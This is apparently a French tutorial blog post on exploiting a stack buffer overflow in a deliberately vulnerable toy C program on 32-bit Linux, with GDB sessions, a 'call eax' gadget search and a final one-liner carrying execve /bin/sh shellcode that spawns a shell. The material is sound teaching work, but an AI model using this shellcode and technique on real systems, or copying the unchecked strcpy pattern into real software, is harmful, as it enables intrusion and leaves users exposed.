# Les Stack Buffer Overflow sur Linux

description : Article sur l'exploitation d'un Stack Buffer Overflow sur Linux.
categories : Hacking;
tags : Linux;

Exploitation d'un Stack buffer overflow sur Linux

Je vais expliquer dans cet article comment exploiter un stack buffer overflow avec shellcode sur Linux.

Introduction ou petit rappel

Un buffer overflow comme son nom l'indique est un débordement de buffer. En programmation C un buffer est un tableau de char, il peut être déclaré de deux façons :

  • char buffer[256];
  • char *buffer = malloc(256);

Ces deux variables buffer sont des tableaux à 256 cases donc des buffers pouvant contenir 256 caractères au maximum.

Pour bien comprendre la différence entre ces deux types de buffer overflow, il faut d'abord comprendre comment sont géré le code et les variables une fois compilé et exécuté.

Organisation de la mémoire

Quand un programme est exécuté, il est chargé en mémoire dans une partie qui lui est spécialement réservée. Cette partie de mémoire est divisée en plusieurs portions :

  • Les Sections
  • La Stack
  • La Heap

Celons la façon dont une variable est déclarée, global, local, static, constante, initialisée ou non, elle se retrouve dans une de ces portions.

Voici les différents sections :

  • La section .data contient les variables globales initialisées ainsi que toutes les static initialisées.
  • La section .bss contient les variables globales non-initialisées ainsi que toutes les static non-initialisées.
  • La section .rdata contient les variables constantes globales initialisées et toutes les static constantes initialisées.
  • La section .text contient les instructions, le code.

La stack contient toutes les variables local et non static ainsi que les arguments de fonctions.

La heap contient toutes les variables allouées dynamiquement avec malloc par exemple.

Un programme vulnérable

Voici la source d'un programme vulnérable que l'on va appeler vuln.c :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>
  
void vuln(char *src)
{
    char buffer[128];
  
    strcpy(buffer, src);
}
  
int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        fprintf(stderr, "Supply a string as argument...\n");
        return -1;
    }
  
    vuln(argv[1]);
  
    return 0;
}

Durant la réalisation de ce tutorial, j'ai compilé vuln.c de cette façon :

1
gcc -fno-stack-protector -z execstack -m32 -mpreferred-stack-boundary=2 vuln.c -o vuln

L'erreur ce trouve dans l'utilisation de la fonction strcpy dont le prototype est :

1
strcpy(char *dest, const char *src);

Cette fonction copie la chaîne de caractère contenu dans la variable "src" dans la variable "dest" sans vérifier si cette dernière en est capable.

La variable "dest" correspond dans notre code à la variable "buffer". C'est donc une variable local à la fonction "vuln" et non static. La variable buffer ce trouve donc dans la stack et peut accueillir 128 caractères au maximum.

Un peu d'assembleur

Quelques notions d'assembleur sont nécessaire pour l'apprentissage d'un stack overflow et encore plus pour la partie shellcode.

En asm il existe des registres, un registre est un espace mémoire dont la taille dépend de votre architecture 16 bits, 32 bits ou 64.

Cet espace est situé à l'intérieur du processeur et est donc très rapide d'accès.

Il en existe plusieurs, en voilà 3 intéressants, les registres en 32 bits et 64 bits "EIP" / "RIP", "ESP" / "RSP" et "EBP" / "RBP" qui sont des pointeurs et contiennent donc des adresses.

  • Le registre EIP en 32 bits RIP en 64 est le "Instruction Pointeur", il pointe sur la prochaine instruction à exécuter.
  • Le registre ESP en 32 et RSP en 64 bits est le "Stack Pointeur", il pointe sur le dernier élément posé sur la pile.
  • Le registre EBP en x86 et RBP en x86_64 est le "Base Pointeur", ou "Frame Base Pointeur", il pointe sur la base d'un "cadre de pile", un "stack frame".

Il est églament intéressant de savoir plusieurs petites choses sur la stack :

Première chose: la stack fonctionne sur le principe LIFO qui signifie "Last In, First Out" donc dernier entré, premier sorti.

Elle est souvent schématisé comme une pile d'assiette, la dernière assiette déposée sera la première à être retirée.

On empile sur la stack avec l'instruction "push" et on dépile avec "pop".

Deuxième chose : si vous avez déjà programmé en C vous devez savoir que les variables locales et non static à une fonction se trouvant donc dans la stack disparaissent à la fin de cette fonction, ceci grâce à ce que l'on appel: le prolog et l'epilog utilisé pour gérer les "Stack Frame".

Dernière chose: la stack croit vers les adresses basses, c'est à dire que plus on va vers le haut de la stack, plus les adresses sont basses.

Disassembling

Ouvrez vuln.exe dans GDB, puis désassemblez la fonction main puis la fonction vuln avec la commande disass

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
(gdb) set disassembly-flavor intel
(gdb) disass main
Dump of assembler code for function main:
0x080484c6 <+0>: push ebp
0x080484c7 <+1>: mov ebp,esp
0x080484c9 <+3>: cmp DWORD PTR [ebp+0x8],0x2
0x080484cd <+7>: je 0x80484ed <main+39>
0x080484cf <+9>: mov eax,ds:0x804a028
0x080484d4 <+14>: push eax
0x080484d5 <+15>: push 0x1f
0x080484d7 <+17>: push 0x1
0x080484d9 <+19>: push 0x80485a4
0x080484de <+24>: call 0x8048360 <fwrite@plt>
0x080484e3 <+29>: add esp,0x10
0x080484e6 <+32>: mov eax,0xffffffff
0x080484eb <+37>: jmp 0x8048503 <main+61>
0x080484ed <+39>: mov eax,DWORD PTR [ebp+0xc]
0x080484f0 <+42>: add eax,0x4
0x080484f3 <+45>: mov eax,DWORD PTR [eax]
0x080484f5 <+47>: push eax
0x080484f6 <+48>: call 0x80484ae
0x080484fb <+53>: add esp,0x4
0x080484fe <+56>: mov eax,0x0
0x08048503 <+61>: leave
0x08048504 <+62>: ret
End of assembler dump.
(gdb) disass vuln
Dump of assembler code for function vuln:
0x080484ae <+0>: push ebp
0x080484af <+1>: mov ebp,esp
0x080484b1 <+3>: add esp,0xffffff80
0x080484b4 <+6>: push DWORD PTR [ebp+0x8]
0x080484b7 <+9>: lea eax,[ebp-0x80]
0x080484ba <+12>: push eax
0x080484bb <+13>: call 0x8048370 <strcpy@plt>
0x080484c0 <+18>: add esp,0x8
0x080484c3 <+21>: nop
0x080484c4 <+22>: leave
0x080484c5 <+23>: ret
End of assembler dump.
(gdb)

Dans le code assembleur de la fonction main() désassemblée à l'adresse 0x080484f6 il y a l'appel à la fonction vuln() grâce à l'instruction CALL qui fait deux choses :

  • Sauvegarde du registre EIP sur la stack. EIP pointe donc sur l'instruction qui suit le call
  • Sauter à l'adresse où commence la fonction vuln()

Dans le code de la fonction vuln() les 2 premières lignes représentent le prolog et les deux dernières l'epilog.

Voici le prolog en détail :

1
2
PUSH EBP
MOV EBP,ESP

La première instruction sauvegarde la valeur actuel de EBP sur la stack, puis la seconde crée le stack frame de la fonction vuln().

Le stack frame est en fait un espace sur la stack qui contient tout ce qui est nécessaire pour le fonctionnement de la fonction, chaque fonction a son stack frame.

L'epilog en détail :

1
2
LEAVE
RETN

L'epilog est connu aussi sous cette forme :

1
2
3
MOV ESP,EBP
POP EBP
RET

L'epilog fait l'inverse du prolog. Il détruit le stack frame de la fonction, les variables local et non static créées dans la fonction sont donc perdu. Ensuite, il redonne au registre EBP la valeur qu'il avait au départ, celle que le prolog à empiler et pour finir l'instruction RET redonne à EIP la valeur que le CALL à sauvegarder sur la pile. La prochaine instruction sera donc celle ce trouvant à cette adresse.

Principe et logique

Dans GDB, exécutez vuln avec comme but de créer un débordement sur le buffer. Donnez donc à titre de test 200 'a' comme argument.

La fonction strcpy() va copier ces 200 'a' dans buffer alors qu'il peut en contenir 128 au maximum, il va donc y avoir un débordement.

GDB affichera le message : "Program received signal SIGSEGV, Segmentation fault." et la valeur de EIP sera : "0x61616161 in ?? ()".

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
(gdb) r `python -c "print 'a'*200"`
Starting program: /home/ajulien/Stack Buffer Overflow/vuln `python -c "print 'a'*200"`
 
Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? ()
(gdb) i r ebp
ebp 0x61616161 0x61616161
(gdb) i r eip
eip 0x61616161 0x61616161
(gdb)

Comme nous le voyons dans la sortie de GDB, les adresses contenues dans EBP et EIP valent "0x61616161".

0x61 correspond au caractère 'a' en hexadecimal, nous avons donc réussi grâce au débordement à overwriter les valeurs de EBP et de EIP par des 'a'.

Ceci parce que le remplissage de buffer ce fait du haut de la stack vers le bas de la stack, donc des adresses basse vers les adresses haute et EBP et EIP ont été empiler avant le remplissage de buffer, ils ce trouvent donc dans le bas de la stack.

Ce qui fait planter le programme c'est qu'il n'y a aucune instruction à l'adresse 0x61616161.

Il nous faut maintenant déterminer exactement combien de 'a' sont necessaire pour réécrire EIP, car le but étant d'y mettre une adresse pour sauter dans un espace ou nous aurons placé un code arbitraire destiné à faire ce que nous voulons, ce code est appelé "shellcode".

Une adresse représente 4 octets, donnez alors maintenant à vuln dans GDB 128+4 'a' pour remplir buffer et overwriter EBP + 'bcde' pour overwriter EIP. "bcde" vaut "0x62636465" en hexadécimal :

1
2
3
4
5
6
(gdb) r `python -c 'print "a"*(128+4)+"bcde"'`
Starting program: /home/ajulien/Stack Buffer Overflow/vuln `python -c 'print "a"*(128+4)+"bcde"'`
 
Program received signal SIGSEGV, Segmentation fault.
0x65646362 in ?? ()
(gdb)

EIP est bien écrasé par "bcde" (0x65646362)

Exploitation

Une exploitation classique consiste à faire exécuter un shellcode, il faut donc overwriter EIP avec une adresse où on trouve ce shellcode.

Pour y parvenir, il existe plusieurs technique.

Voyons une technique, exploitant la fonction strcpy() qui pour rappel retourne comme valeur un pointeur vers le buffer de destination.

En assembleur, les retours de fonction se trouvent dans le registre EAX

Nous pouvons donc avoir un plan d'exploitation comme celui-ci : shellcode + padding + address vers un call eax.

Pour trouver ce call eax, je vais utiliser objdump :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ objdump -Mintel-mnemonic -D ./vuln | grep "call"
8048318: e8 b3 00 00 00 call 80483d0 <__x86.get_pc_thunk.bx>
804832d: e8 5e 00 00 00 call 8048390 <.plt.got>
80483bc: e8 bf ff ff ff call 8048380 <__libc_start_main@plt>
8048403: ff d0 call eax
804843d: ff d2 call edx
804845f: e8 7c ff ff ff call 80483e0
8048490: ff d2 call edx
80484a3: e8 a8 fe ff ff call 8048350 <printf@plt> 80484bb: e8 b0 fe ff ff call 8048370 <strcpy@plt>
80484de: e8 7d fe ff ff call 8048360 <fwrite@plt>
80484f6: e8 b3 ff ff ff call 80484ae
8048514: e8 b7 fe ff ff call 80483d0 <__x86.get_pc_thunk.bx>
804852c: e8 e3 fd ff ff call 8048314 <_init>
8048554: ff 94 bb 08 ff ff ff call DWORD PTR [ebx+edi*4-0xf8]
8048578: e8 53 fe ff ff call 80483d0 <__x86.get_pc_thunk.bx>
80485d3: ff 5c 00 00 call FWORD PTR [eax+eax*1+0x0]
80485e3: ff 94 00 00 00 ea fe call DWORD PTR [eax+eax*1-0x1160000]
80485f3: ff d4 call esp
804862b: ff 50 00 call DWORD PTR [eax+0x0]
8048663: ff 13 call DWORD PTR [ebx]
8048683: ff 18 call FWORD PTR [eax]
80486c3: ff 5d 00 call FWORD PTR [ebp+0x0]

Nous pouvons overwriter EIP avec l'adresse 0x08048403.

Dans mon exemple le shellcode exécute un shell et fait 36 bytes.

1
2
3
4
$ ./vuln `python -c "import struct; print '\xeb\x15\x5e\x31\xc0\x88\x46\x07\x89\x46\x08\xb0\x0b\x8d\x1e\x8d\x4e\x08\x8d\x56\x08\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23' + 'a'*(128+4-36) + struct.pack('<I',0x08048403)"`
$ exit
exit
$

Nous avons bien obtenu un shell... Nous avons donc réalisé un Stack Buffer Overflow \o/